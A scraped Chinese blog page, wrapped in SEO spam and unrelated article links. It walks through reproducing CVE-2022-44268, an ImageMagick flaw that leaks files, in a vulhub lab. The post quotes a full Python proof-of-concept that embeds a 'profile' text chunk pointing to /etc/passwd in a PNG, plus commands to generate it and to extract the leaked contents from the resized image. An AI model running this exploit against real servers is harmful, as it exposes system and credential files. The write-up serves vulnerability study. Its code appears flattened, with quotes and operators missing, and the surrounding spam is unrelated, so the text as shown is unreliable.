当前位置: 首页 > news >正文

包头网站 建设网络公司名字大全20000个

包头网站 建设,网络公司名字大全20000个,wordpress投稿 图片,设计类的软件有哪些0x00 前提 前几天爆出一个 ImageMagick 漏洞 #xff0c;可以造成一个任意文件读取的危害比较可观#xff0c;最近有时间来复现学习一下 主要是影响的范围很大#xff0c;很多地方都有这个问题#xff0c;需要来学习一下 0x01 介绍 ImageMagick 是一个免费的开源软件套…0x00 前提 前几天爆出一个 ImageMagick 漏洞 可以造成一个任意文件读取的危害比较可观最近有时间来复现学习一下 主要是影响的范围很大很多地方都有这个问题需要来学习一下 0x01 介绍 ImageMagick 是一个免费的开源软件套件用于显示、转换和编辑图像文件。它可以读取和写入 200 多种图像文件格式因此在全球网站中找到它是很常见的因为总是需要处理用户个人资料、目录等的图片。 在ImageMagick 7.1.0-51版本及以前 CVE-2022-44268ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像例如调整大小时生成的图像可能嵌入了任意远程文件的内容如果ImageMagick二进制文件有权读取它。 0x02 漏洞介绍 CVE-2022-44268任意远程泄露 当 ImageMagick 解析 PNG 文件时例如在调整大小操作中生成的图像可能嵌入了来自网站的任意远程文件的内容如果 magick 二进制文件有权读取它。 恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型例如 tEXt。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”不带引号则 ImageMagick 会将文本字符串解释为文件名并将内容加载为原始配置文件然后攻击者可以下载随远程文件内容一起提供的调整大小的图像。 0x03 漏洞环境 问就是直接使用P牛的vulhub的环境很方便。 执行如下命令启动一个Web服务器 docker-compose up -d访问http://127.0.0.1:8080可以看到图片上传框 [后端服务]https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/index.php 直接看github即可 功能是将用户上传的任意图片缩小成50x50的PNG图片。 $newname uniqid() . .png; shell_exec(convert -resize 50x50 {$_FILES[file_upload][tmp_name]} ./{$newname});0x04 漏洞复现 利用这个漏洞需要先准备一个恶意PNG文件文件内容中包含我们准备读取的文件路径 可以使用poc.py来生成这个图片 ./poc.py generate -o poc.png -r /etc/passwdhttps://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py #!/usr/bin/env python3 import sys import png import zlib import argparse import binascii import logginglogging.basicConfig(streamsys.stderr, levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s) d zlib.decompressobj() e zlib.compressobj() IHDR b\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00 IDAT bx\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9 \b\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0 \b\xccb\x8cf\x06gwgf\x11afw\x7fx\x01^KFdef parse_data(data: bytes) - str:_, data data.strip().split(b\n, 1)return binascii.unhexlify(data.replace(b\n, b)).decode()def read(filename: str):if not filename:logging.error(you must specify a input filename)returnres p png.Reader(filenamefilename)for k, v in p.chunks():logging.info(chunk %s found, value %r, k.decode(), v)if k bzTXt:name, data v.split(b\x00, 1)res parse_data(d.decompress(data[1:]))if res:sys.stdout.write(res)sys.stdout.flush()def write(from_filename, to_filename, read_filename):if not to_filename:logging.error(you must specify a output filename)returnwith open(to_filename, wb) as f:f.write(png.signature)if from_filename:p png.Reader(filenamefrom_filename)for k, v in p.chunks():if k ! bIEND:png.write_chunk(f, k, v)else:png.write_chunk(f, bIHDR, IHDR)png.write_chunk(f, bIDAT, IDAT)png.write_chunk(f, btEXt, bprofile\x00 read_filename.encode())png.write_chunk(f, bIEND, b)def main():parser argparse.ArgumentParser(descriptionPOC for CVE-2022-44268)parser.add_argument(action, typestr, choices(generate, parse))parser.add_argument(-i, --input, typestr, helpinput filename)parser.add_argument(-o, --output, typestr, helpoutput filename)parser.add_argument(-r, --read, typestr, helptarget file to read, default/etc/passwd)args parser.parse_args()if args.action generate:write(args.input, args.output, args.read)elif args.action parse:read(args.input)else:logging.error(bad action)if __name__ __main__:main()执行poc.py前请安装PyPNGpip install pypng 上传的时候可以看到多出来一个Payload profile/etc/passwd 上传成功处理完之后从网页上把我们的图片下载下来 使用poc.py提取出其中所有内容 ./poc.py parse -i out.png可以看到已经提取出/etc/passwd文件的内容这部分内容是由ImageMagick在处理旧图片时读取并写入到新图片中。 0x05 总结 这个漏洞其实挺底层的很多地方会使用测试需要注意此类功能。
http://www.tj-hxxt.cn/news/138551.html

相关文章:

  • 免费图表制作网站wordpress金馆长插件
  • 网站怎么做外联工业设计软件上市公司
  • 在html中做网站 视频wordpress迁移后后台页面打不开
  • 微信支持什么wordpress台州网络优化
  • 苏州网站建设需要多少钱网站建设工作总结报告
  • 网站在建设中无法访问沈阳h5网站建设
  • 网站建设方案风险分析长沙长沙h5网站建设
  • 可以看的网站都有哪些天津网站建设吐鲁番地区
  • 网站设计都用什么字体深圳app网站建设陈俊兵
  • 东莞做一个企业网站国内快速建站
  • 墨客网站建设1.申请网站空间
  • 企业网站建设哪家优惠做一个网站如何做
  • 培训机构查询网昆明网站的优化
  • 网络营销竞价推广seo优化的内容有哪些
  • 宣城市建设监督管理局网站网站做专题页面
  • 注册公司不经营一年费用抚顺优化seo
  • 谷歌网站开发语言安康市城市建设开发总公司网站
  • 商业网站开发设计报告wordpress文章导入插件
  • 刷单类网站开发越秀营销型网站建设
  • 论坛网站备案流程图网站备案检验单
  • 西宁做手机网站的公司搜狗推广登录app
  • 怎样做网站变手机软件商业网站建设心得体会
  • 深圳国外网站建设比尤果网做的好的网站
  • 正邦 网站建设网络推广策划方案
  • 注册网站如何备案网站关键词优化的步骤
  • 卡地亚手表官方网站58同城建筑招聘网最新招聘
  • 做网站怎样做全页面服装设计个人工作室
  • 做网站需要知道哪些事情品牌营销推广
  • qq互联网站备案号龙岗外贸网站建设公司
  • 凡客建站登陆西安商城网站开发